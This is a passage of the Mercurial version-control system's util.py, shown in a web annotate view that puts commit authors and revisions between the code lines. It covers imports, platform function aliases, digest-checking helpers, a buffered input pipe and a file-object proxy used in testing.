##// END OF EJS Templates
fuzz: use Python 3 in makefile...
fuzz: use Python 3 in makefile As in the previous patch, I copied the snippet defining `PYTHON` from the root Makefile. Differential Revision: https://phab.mercurial-scm.org/D10252

File last commit:

r47433:6f4a481f merge default
r47574:1977495d default
Show More
util.py
3715 lines | 106.4 KiB | text/x-python | PythonLexer
timeless@mozdev.org
spelling: specific
r17515 # util.py - Mercurial utility functions and platform specific implementations
Martin Geisler
put license and copyright info into comment blocks
r8226 #
# Copyright 2005 K. Thananchayan <thananck@yahoo.com>
# Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
# Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
#
# This software may be used and distributed according to the terms of the
Matt Mackall
Update license to GPLv2+
r10263 # GNU General Public License version 2 or any later version.
mpm@selenic.com
Update util.py docstrings, fix walk test
r1082
timeless@mozdev.org
spelling: specific
r17515 """Mercurial utility functions and platform specific implementations.
mpm@selenic.com
Update util.py docstrings, fix walk test
r1082
Martin Geisler
turn some comments back into module docstrings
r8227 This contains helper routines that are independent of the SCM core and
hide platform-specific details from the core.
mpm@selenic.com
Update util.py docstrings, fix walk test
r1082 """
mpm@selenic.com
[PATCH] file seperator handling for the other 'OS'...
r419
Yuya Nishihara
doctest: use print_function and convert bytes to unicode where needed
r34139 from __future__ import absolute_import, print_function
Gregory Szorc
util: use absolute_import
r27358
Martin von Zweigbergk
util: add base class for transactional context managers...
r33790 import abc
Gregory Szorc
util: use absolute_import
r27358 import collections
Martin von Zweigbergk
histedit: extract InterventionRequired transaction handling to utils...
r33446 import contextlib
Gregory Szorc
util: use absolute_import
r27358 import errno
import gc
import hashlib
Mark Thomas
util: add safename function for generating safe names to rename to...
r34555 import itertools
Manuel Jacob
curses: do not initialize LC_ALL to user settings (issue6358)...
r45550 import locale
Mark Thomas
util: add an mmapread method...
r34296 import mmap
Gregory Szorc
util: use absolute_import
r27358 import os
Jun Wu
util: improve iterfile so it chooses code path wisely...
r30418 import platform as pyplatform
Siddharth Agarwal
util: rename 're' to 'remod'...
r21907 import re as remod
Gregory Szorc
util: use absolute_import
r27358 import shutil
import socket
Jun Wu
util: improve iterfile so it chooses code path wisely...
r30418 import stat
Gregory Szorc
util: use absolute_import
r27358 import sys
import time
import traceback
Pierre-Yves David
util: add a way to issue deprecation warning without a UI object...
r31950 import warnings
Matt Mackall
Add encoding detection
r3769
Augie Fackler
formatting: blacken the codebase...
r43346 from .thirdparty import attr
Gregory Szorc
py3: manually import pycompat.setattr where it is needed...
r43357 from .pycompat import (
Gregory Szorc
py3: manually import pycompat.delattr where it is needed...
r43360 delattr,
Gregory Szorc
py3: manually import getattr where it is needed...
r43359 getattr,
Gregory Szorc
py3: manually import pycompat.setattr where it is needed...
r43357 open,
setattr,
)
Joerg Sonnenberger
node: import symbols explicitly...
r46729 from .node import hex
Augie Fackler
util: make timedcm require the label (API)...
r39295 from hgdemandimport import tracing
Gregory Szorc
util: use absolute_import
r27358 from . import (
encoding,
error,
i18n,
Yuya Nishihara
osutil: switch to policy importer...
r32367 policy,
timeless
pycompat: add empty and queue to handle py3 divergence...
r28818 pycompat,
Augie Fackler
urllibcompat: move some adapters from pycompat to urllibcompat...
r34468 urllibcompat,
Gregory Szorc
util: use absolute_import
r27358 )
Yuya Nishihara
stringutil: move generic string helpers to new module...
r37101 from .utils import (
util: extract compression code in `mercurial.utils.compression`...
r42208 compression,
Augie Fackler
core: migrate uses of hashlib.sha1 to hashutil.sha1...
r44517 hashutil,
Yuya Nishihara
procutil: move process/executable management functions to new module...
r37136 procutil,
Yuya Nishihara
stringutil: move generic string helpers to new module...
r37101 stringutil,
)
Matt Mackall
Add encoding detection
r3769
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 if pycompat.TYPE_CHECKING:
from typing import (
Iterator,
List,
Optional,
Tuple,
Union,
)
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 base85 = policy.importmod('base85')
osutil = policy.importmod('osutil')
Yuya Nishihara
osutil: switch to policy importer...
r32367
Yuya Nishihara
base85: proxy through util module...
r32200 b85decode = base85.b85decode
b85encode = base85.b85encode
Gregory Szorc
util: make cookielib module available...
r31934 cookielib = pycompat.cookielib
Yuya Nishihara
util: rewrite pycompat imports to make pyflakes always happy...
r30471 httplib = pycompat.httplib
pickle = pycompat.pickle
Yuya Nishihara
util: make safehasattr() a pycompat function...
r37117 safehasattr = pycompat.safehasattr
Yuya Nishihara
util: rewrite pycompat imports to make pyflakes always happy...
r30471 socketserver = pycompat.socketserver
Gregory Szorc
util: prefer "bytesio" to "stringio"...
r36976 bytesio = pycompat.bytesio
# TODO deprecate stringio name, as it is a lie on Python 3.
stringio = bytesio
Yuya Nishihara
util: rewrite pycompat imports to make pyflakes always happy...
r30471 xmlrpclib = pycompat.xmlrpclib
timeless
pycompat: switch to util.urlreq/util.urlerr for py3 compat
r28883
Augie Fackler
urllibcompat: move some adapters from pycompat to urllibcompat...
r34468 httpserver = urllibcompat.httpserver
urlerr = urllibcompat.urlerr
urlreq = urllibcompat.urlreq
FUJIWARA Katsunori
win32mbcs: avoid unintentional failure at colorization...
r32566 # workaround for win32mbcs
_filenamebytestr = pycompat.bytestr
Jun Wu
codemod: use pycompat.iswindows...
r34646 if pycompat.iswindows:
Gregory Szorc
util: use absolute_import
r27358 from . import windows as platform
Adrian Buehlmann
util: move windows and posix wildcard imports to begin of file
r14912 else:
Gregory Szorc
util: use absolute_import
r27358 from . import posix as platform
Adrian Buehlmann
util: eliminate wildcard imports
r14926
Gregory Szorc
util: use absolute_import
r27358 _ = i18n._
Adrian Buehlmann
util: eliminate wildcard imports
r14926
Yuya Nishihara
chgserver: extract utility to bind unix domain socket to long path...
r29530 bindunixsocket = platform.bindunixsocket
Idan Kamara
posix, windows: introduce cachestat...
r14927 cachestat = platform.cachestat
Adrian Buehlmann
util: eliminate wildcard imports
r14926 checkexec = platform.checkexec
checklink = platform.checklink
Adrian Buehlmann
util: move copymode into posix.py and windows.py...
r15011 copymode = platform.copymode
Adrian Buehlmann
util: eliminate wildcard imports
r14926 expandglobs = platform.expandglobs
Matt Harbison
util: add a function to show the mount point of the filesystem...
r35531 getfsmountpoint = platform.getfsmountpoint
Matt Harbison
util: move getfstype() to the platform modules...
r35527 getfstype = platform.getfstype
Adrian Buehlmann
util: eliminate wildcard imports
r14926 groupmembers = platform.groupmembers
groupname = platform.groupname
isexec = platform.isexec
isowner = platform.isowner
Yuya Nishihara
osutil: proxy through util (and platform) modules (API)...
r32203 listdir = osutil.listdir
Adrian Buehlmann
util: eliminate wildcard imports
r14926 localpath = platform.localpath
lookupreg = platform.lookupreg
makedir = platform.makedir
nlinks = platform.nlinks
normpath = platform.normpath
Matt Mackall
dirstate: fix case-folding identity for traditional Unix...
r15488 normcase = platform.normcase
Siddharth Agarwal
util: add normcase spec and fallback...
r24605 normcasespec = platform.normcasespec
normcasefallback = platform.normcasefallback
Adrian Buehlmann
util: eliminate wildcard imports
r14926 openhardlinks = platform.openhardlinks
oslink = platform.oslink
parsepatchoutput = platform.parsepatchoutput
pconvert = platform.pconvert
Pierre-Yves David
util: add a simple poll utility...
r25420 poll = platform.poll
Adrian Buehlmann
util: eliminate wildcard imports
r14926 posixfile = platform.posixfile
Matt Harbison
py3: convert os.readlink() path to native strings on Windows...
r39940 readlink = platform.readlink
Adrian Buehlmann
util: eliminate wildcard imports
r14926 rename = platform.rename
FUJIWARA Katsunori
util: add removedirs as platform depending function...
r24692 removedirs = platform.removedirs
Adrian Buehlmann
util: eliminate wildcard imports
r14926 samedevice = platform.samedevice
samefile = platform.samefile
samestat = platform.samestat
setflags = platform.setflags
Bryan O'Sullivan
util: implement a faster os.path.split for posix systems...
r17560 split = platform.split
Bryan O'Sullivan
osutil: write a C implementation of statfiles for unix...
r18026 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
Bryan O'Sullivan
util: add functions to check symlink/exec bits...
r18868 statisexec = platform.statisexec
statislink = platform.statislink
Adrian Buehlmann
util: eliminate wildcard imports
r14926 umask = platform.umask
unlink = platform.unlink
username = platform.username
Adrian Buehlmann
util: move windows and posix wildcard imports to begin of file
r14912
Pulkit Goyal
chgserver: update the umask cache before each run...
r45119
def setumask(val):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (int) -> None
Pulkit Goyal
chgserver: update the umask cache before each run...
r45119 ''' updates the umask. used by chg server '''
if pycompat.iswindows:
return
os.umask(val)
global umask
platform.umask = umask = val & 0o777
util: extract compression code in `mercurial.utils.compression`...
r42208 # small compat layer
compengines = compression.compengines
SERVERROLE = compression.SERVERROLE
CLIENTROLE = compression.CLIENTROLE
Yuya Nishihara
osutil: proxy through util (and platform) modules (API)...
r32203 try:
recvfds = osutil.recvfds
except AttributeError:
pass
Dirkjan Ochtman
python 2.6 compatibility: compatibility wrappers for hash functions
r6470 # Python compatibility
Matt Mackall
Add encoding detection
r3769
Matt Mackall
util: clean up function ordering
r15656 _notset = object()
Augie Fackler
formatting: blacken the codebase...
r43346
Remi Chaintron
revlog: flag processor...
r30745 def bitsfrom(container):
bits = 0
for bit in container:
bits |= bit
return bits
Augie Fackler
formatting: blacken the codebase...
r43346
Pierre-Yves David
util: add a way to issue deprecation warning without a UI object...
r31950 # python 2.6 still have deprecation warning enabled by default. We do not want
# to display anything to standard user so detect if we are running test and
# only use python deprecation warning in this case.
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
Pierre-Yves David
util: add a way to issue deprecation warning without a UI object...
r31950 if _dowarn:
# explicitly unfilter our warning for python 2.7
#
# The option of setting PYTHONWARNINGS in the test runner was investigated.
# However, module name set through PYTHONWARNINGS was exactly matched, so
# we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
# makes the whole PYTHONWARNINGS thing useless for our usecase.
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
Yuya Nishihara
py3: silence "bad escape" warning emitted by re.sub()...
r36606 if _dowarn and pycompat.ispy3:
# silence warning emitted by passing user string to re.sub()
Augie Fackler
formatting: blacken the codebase...
r43346 warnings.filterwarnings(
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
Augie Fackler
formatting: blacken the codebase...
r43346 )
warnings.filterwarnings(
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
Augie Fackler
formatting: blacken the codebase...
r43346 )
Yuya Nishihara
py3: silence warning about deprecation of imp module...
r37473 # TODO: reinvent imp.is_frozen()
Augie Fackler
formatting: blacken the codebase...
r43346 warnings.filterwarnings(
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 'ignore',
'the imp module is deprecated',
Augie Fackler
formatting: blacken the codebase...
r43346 DeprecationWarning,
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 'mercurial',
Augie Fackler
formatting: blacken the codebase...
r43346 )
Pierre-Yves David
util: add a way to issue deprecation warning without a UI object...
r31950
def nouideprecwarn(msg, version, stacklevel=1):
"""Issue an python native deprecation warning
This is a noop outside of tests, use 'ui.deprecwarn' when possible.
"""
if _dowarn:
Augie Fackler
formatting: blacken the codebase...
r43346 msg += (
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b"\n(compatibility will be dropped after Mercurial-%s,"
b" update your code.)"
Augie Fackler
formatting: blacken the codebase...
r43346 ) % version
Augie Fackler
util: call warnings.warn() with a sysstr in nouideprecwarn...
r36145 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
Pulkit Goyal
util: flush stderr explicitly after using warnings.warn()...
r45522 # on python 3 with chg, we will need to explicitly flush the output
sys.stderr.flush()
Pierre-Yves David
util: add a way to issue deprecation warning without a UI object...
r31950
Augie Fackler
formatting: blacken the codebase...
r43346
Mike Hommey
util: add a helper class to compute digests...
r22962 DIGESTS = {
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'md5': hashlib.md5,
Augie Fackler
core: migrate uses of hashlib.sha1 to hashutil.sha1...
r44517 b'sha1': hashutil.sha1,
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'sha512': hashlib.sha512,
Mike Hommey
util: add a helper class to compute digests...
r22962 }
# List of digest types from strongest to weakest
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
Mike Hommey
util: add a helper class to compute digests...
r22962
for k in DIGESTS_BY_STRENGTH:
assert k in DIGESTS
Augie Fackler
formatting: blacken the codebase...
r43346
Mike Hommey
util: add a helper class to compute digests...
r22962 class digester(object):
"""helper to compute digests.
This helper can be used to compute one or more digests given their name.
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> d = digester([b'md5', b'sha1'])
>>> d.update(b'foo')
Mike Hommey
util: add a helper class to compute digests...
r22962 >>> [k for k in sorted(d)]
['md5', 'sha1']
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> d[b'md5']
Mike Hommey
util: add a helper class to compute digests...
r22962 'acbd18db4cc2f85cedef654fccc4a4d8'
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> d[b'sha1']
Mike Hommey
util: add a helper class to compute digests...
r22962 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> digester.preferred([b'md5', b'sha1'])
Mike Hommey
util: add a helper class to compute digests...
r22962 'sha1'
"""
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 def __init__(self, digests, s=b''):
Mike Hommey
util: add a helper class to compute digests...
r22962 self._hashes = {}
for k in digests:
if k not in DIGESTS:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 raise error.Abort(_(b'unknown digest type: %s') % k)
Mike Hommey
util: add a helper class to compute digests...
r22962 self._hashes[k] = DIGESTS[k]()
if s:
self.update(s)
def update(self, data):
for h in self._hashes.values():
h.update(data)
def __getitem__(self, key):
if key not in DIGESTS:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 raise error.Abort(_(b'unknown digest type: %s') % k)
Joerg Sonnenberger
node: import symbols explicitly...
r46729 return hex(self._hashes[key].digest())
Mike Hommey
util: add a helper class to compute digests...
r22962
def __iter__(self):
return iter(self._hashes)
@staticmethod
def preferred(supported):
"""returns the strongest digest type in both supported and DIGESTS."""
for k in DIGESTS_BY_STRENGTH:
if k in supported:
return k
return None
Augie Fackler
formatting: blacken the codebase...
r43346
Mike Hommey
util: add a file handle wrapper class that does hash digest validation...
r22963 class digestchecker(object):
"""file handle wrapper that additionally checks content against a given
size and digests.
d = digestchecker(fh, size, {'md5': '...'})
When multiple digests are given, all of them are validated.
"""
def __init__(self, fh, size, digests):
self._fh = fh
self._size = size
self._got = 0
self._digests = dict(digests)
self._digester = digester(self._digests.keys())
def read(self, length=-1):
content = self._fh.read(length)
self._digester.update(content)
self._got += len(content)
return content
def validate(self):
if self._size != self._got:
Augie Fackler
formatting: blacken the codebase...
r43346 raise error.Abort(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 _(b'size mismatch: expected %d, got %d')
Augie Fackler
formatting: blacken the codebase...
r43346 % (self._size, self._got)
)
Mike Hommey
util: add a file handle wrapper class that does hash digest validation...
r22963 for k, v in self._digests.items():
if v != self._digester[k]:
Wagner Bruna
i18n: add hint to digest mismatch message
r23076 # i18n: first parameter is a digest name
Augie Fackler
formatting: blacken the codebase...
r43346 raise error.Abort(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 _(b'%s mismatch: expected %s, got %s')
Augie Fackler
formatting: blacken the codebase...
r43346 % (k, v, self._digester[k])
)
Mike Hommey
util: add a file handle wrapper class that does hash digest validation...
r22963
Renato Cunha
util: improved the check for the existence of the 'buffer' builtin...
r11565 try:
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 buffer = buffer # pytype: disable=name-error
Renato Cunha
util: improved the check for the existence of the 'buffer' builtin...
r11565 except NameError:
Augie Fackler
formatting: blacken the codebase...
r43346
Alex Gaynor
util: remove dead code which used to be for old python2 versions...
r33549 def buffer(sliceable, offset=0, length=None):
if length is not None:
Augie Fackler
formatting: blacken the codebase...
r43346 return memoryview(sliceable)[offset : offset + length]
Alex Gaynor
util: remove dead code which used to be for old python2 versions...
r33549 return memoryview(sliceable)[offset:]
Ronny Pfannschmidt
util: fake the builtin buffer if it's missing (jython)
r10756
Augie Fackler
formatting: blacken the codebase...
r43346
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 _chunksize = 4096
Augie Fackler
formatting: blacken the codebase...
r43346
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 class bufferedinputpipe(object):
"""a manually buffered input pipe
Python will not let us use buffered IO and lazy reading with 'polling' at
the same time. We cannot probe the buffer state and select will not detect
that data are ready to read if they are already buffered.
This class let us work around that by implementing its own buffering
(allowing efficient readline) while offering a way to know if the buffer is
empty from the output (allowing collaboration of the buffer with polling).
This class lives in the 'util' module because it makes use of the 'os'
module from the python stdlib.
"""
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: enable observing of util.bufferedinputpipe...
r36542 def __new__(cls, fh):
# If we receive a fileobjectproxy, we need to use a variation of this
# class that notifies observers about activity.
if isinstance(fh, fileobjectproxy):
cls = observedbufferedinputpipe
return super(bufferedinputpipe, cls).__new__(cls)
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406
def __init__(self, input):
self._input = input
self._buffer = []
self._eof = False
Pierre-Yves David
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)...
r25672 self._lenbuf = 0
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406
@property
def hasbuffer(self):
"""True is any data is currently buffered
This will be used externally a pre-step for polling IO. If there is
already data then no polling should be set in place."""
return bool(self._buffer)
@property
def closed(self):
return self._input.closed
def fileno(self):
return self._input.fileno()
def close(self):
return self._input.close()
def read(self, size):
while (not self._eof) and (self._lenbuf < size):
self._fillbuffer()
return self._frombuffer(size)
Joerg Sonnenberger
ssh: avoid reading beyond the end of stream when using compression...
r38735 def unbufferedread(self, size):
if not self._eof and self._lenbuf == 0:
self._fillbuffer(max(size, _chunksize))
return self._frombuffer(min(self._lenbuf, size))
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 def readline(self, *args, **kwargs):
Martin von Zweigbergk
cleanup: some Yoda conditions, this patch removes...
r40065 if len(self._buffer) > 1:
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 # this should not happen because both read and readline end with a
# _frombuffer call that collapse it.
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 self._buffer = [b''.join(self._buffer)]
Pierre-Yves David
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)...
r25672 self._lenbuf = len(self._buffer[0])
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 lfi = -1
if self._buffer:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 lfi = self._buffer[-1].find(b'\n')
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 while (not self._eof) and lfi < 0:
self._fillbuffer()
if self._buffer:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 lfi = self._buffer[-1].find(b'\n')
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 size = lfi + 1
Augie Fackler
formatting: blacken the codebase...
r43346 if lfi < 0: # end of file
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 size = self._lenbuf
Martin von Zweigbergk
cleanup: some Yoda conditions, this patch removes...
r40065 elif len(self._buffer) > 1:
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 # we need to take previous chunks into account
size += self._lenbuf - len(self._buffer[-1])
return self._frombuffer(size)
def _frombuffer(self, size):
"""return at most 'size' data from the buffer
The data are removed from the buffer."""
if size == 0 or not self._buffer:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 return b''
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 buf = self._buffer[0]
Martin von Zweigbergk
cleanup: some Yoda conditions, this patch removes...
r40065 if len(self._buffer) > 1:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 buf = b''.join(self._buffer)
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406
data = buf[:size]
Augie Fackler
formatting: blacken the codebase...
r43346 buf = buf[len(data) :]
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 if buf:
self._buffer = [buf]
Pierre-Yves David
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)...
r25672 self._lenbuf = len(buf)
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 else:
self._buffer = []
Pierre-Yves David
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)...
r25672 self._lenbuf = 0
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 return data
Joerg Sonnenberger
ssh: avoid reading beyond the end of stream when using compression...
r38735 def _fillbuffer(self, size=_chunksize):
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 """read data to the buffer"""
Joerg Sonnenberger
ssh: avoid reading beyond the end of stream when using compression...
r38735 data = os.read(self._input.fileno(), size)
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 if not data:
self._eof = True
else:
Pierre-Yves David
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)...
r25672 self._lenbuf += len(data)
Pierre-Yves David
util: introduce a bufferedinputpipe utility...
r25406 self._buffer.append(data)
Gregory Szorc
util: enable observing of util.bufferedinputpipe...
r36542 return data
Augie Fackler
formatting: blacken the codebase...
r43346
mmap: add a size argument to mmapread...
r44487 def mmapread(fp, size=None):
if size == 0:
# size of 0 to mmap.mmap() means "all data"
# rather than "zero bytes", so special case that.
return b''
elif size is None:
size = 0
Mark Thomas
util: add an mmapread method...
r34296 try:
fd = getattr(fp, 'fileno', lambda: fp)()
mmap: add a size argument to mmapread...
r44487 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
Mark Thomas
util: add an mmapread method...
r34296 except ValueError:
# Empty files cannot be mmapped, but mmapread should still work. Check
# if the file is empty, and if so, return an empty buffer.
if os.fstat(fd).st_size == 0:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 return b''
Mark Thomas
util: add an mmapread method...
r34296 raise
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 class fileobjectproxy(object):
"""A proxy around file objects that tells a watcher when events occur.
This type is intended to only be used for testing purposes. Think hard
before using it in important code.
"""
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 __slots__ = (
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 '_orig',
'_observer',
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 )
def __init__(self, fh, observer):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 object.__setattr__(self, '_orig', fh)
object.__setattr__(self, '_observer', observer)
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def __getattribute__(self, name):
ours = {
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 '_observer',
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 # IOBase
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 'close',
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 # closed if a property
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 'fileno',
'flush',
'isatty',
'readable',
'readline',
'readlines',
'seek',
'seekable',
'tell',
'truncate',
'writable',
'writelines',
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 # RawIOBase
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 'read',
'readall',
'readinto',
'write',
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 # BufferedIOBase
# raw is a property
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 'detach',
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 # read defined above
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 'read1',
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 # readinto defined above
# write defined above
}
# We only observe some methods.
if name in ours:
return object.__getattribute__(self, name)
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return getattr(object.__getattribute__(self, '_orig'), name)
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
Matt Harbison
util: forward __bool__()/__nonzero__() on fileobjectproxy...
r36850 def __nonzero__(self):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return bool(object.__getattribute__(self, '_orig'))
Matt Harbison
util: forward __bool__()/__nonzero__() on fileobjectproxy...
r36850
__bool__ = __nonzero__
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 def __delattr__(self, name):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return delattr(object.__getattribute__(self, '_orig'), name)
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def __setattr__(self, name, value):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return setattr(object.__getattribute__(self, '_orig'), name, value)
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def __iter__(self):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_orig').__iter__()
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def _observedcall(self, name, *args, **kwargs):
# Call the original object.
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 orig = object.__getattribute__(self, '_orig')
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 res = getattr(orig, name)(*args, **kwargs)
# Call a method on the observer of the same name with arguments
# so it can react, log, etc.
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 observer = object.__getattribute__(self, '_observer')
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541 fn = getattr(observer, name, None)
if fn:
fn(res, *args, **kwargs)
return res
def close(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'close', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def fileno(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'fileno', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def flush(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'flush', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def isatty(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'isatty', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def readable(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'readable', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def readline(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'readline', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def readlines(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'readlines', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def seek(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'seek', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def seekable(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'seekable', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def tell(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
'tell', *args, **kwargs
Augie Fackler
formatting: blacken the codebase...
r43346 )
Gregory Szorc
util: add a file object proxy that can notify observers...
r36541
def truncate(self, *args, **kwargs):
Augie Fackler
cleanup: remove pointless r-prefixes on single-quoted strings...
r43906 return object.__getattribute__(self, '_observedcall')(
